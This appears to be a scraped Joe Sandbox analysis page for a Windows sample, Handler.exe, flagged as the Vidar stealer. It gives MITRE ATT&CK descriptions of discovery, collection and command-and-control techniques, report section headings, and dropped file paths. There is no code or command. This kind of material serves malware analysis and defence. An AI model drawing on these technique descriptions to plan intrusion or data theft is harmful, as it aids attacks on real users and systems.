Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Handler.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\5fctr1d2dt.exe

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Handler.exe_53ee4c53474bf957c989f1298b99fa5f97567960_8c9d25aa_4d7ff653-1f4d-42e7-8047-9f03dfe390b3\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD1ED.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD2D9.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD2F9.tmp.xml

C:\ProgramData\tjw47\00zcb1

C:\ProgramData\tjw47\9zcba1nym

Windows Analysis Report
Handler.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre